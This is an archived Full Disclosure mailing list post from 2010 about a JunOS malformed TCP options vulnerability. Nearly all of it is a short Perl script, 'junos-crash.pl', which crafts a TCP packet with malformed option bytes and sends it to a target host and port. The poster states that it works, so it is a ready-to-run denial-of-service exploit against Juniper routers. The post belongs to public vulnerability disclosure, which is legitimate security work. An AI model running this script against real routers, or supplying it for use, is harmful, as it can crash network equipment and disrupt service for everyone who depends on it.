Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

JunOS malformed TCP options vulnerability
From: "Jeremy L. Gaddis" <jeremy () evilrouters net>
Date: Sat, 9 Jan 2010 21:31:47 -0500

This works for me:

$ cat junos-crash.pl 
#!/usr/bin/perl

my $host =      shift;
my $port =      shift;

use             Net::Packet qw($Env);

use             Net::Packet::IPv4;
my $ip =        Net::Packet::IPv4->new(dst => $host);

use             Net::Packet::TCP;

my $tcp =       Net::Packet::TCP->new(
                    dst         => $port,
                    options     =>  "\x65\x02\x01\x01", 
                );

use             Net::Packet::Frame;
my $frame =     Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send;
exit 0;

--
Jeremy L. Gaddis
http://evilrouters.net/



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • JunOS malformed TCP options vulnerability Jeremy L. Gaddis (Jan 10)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]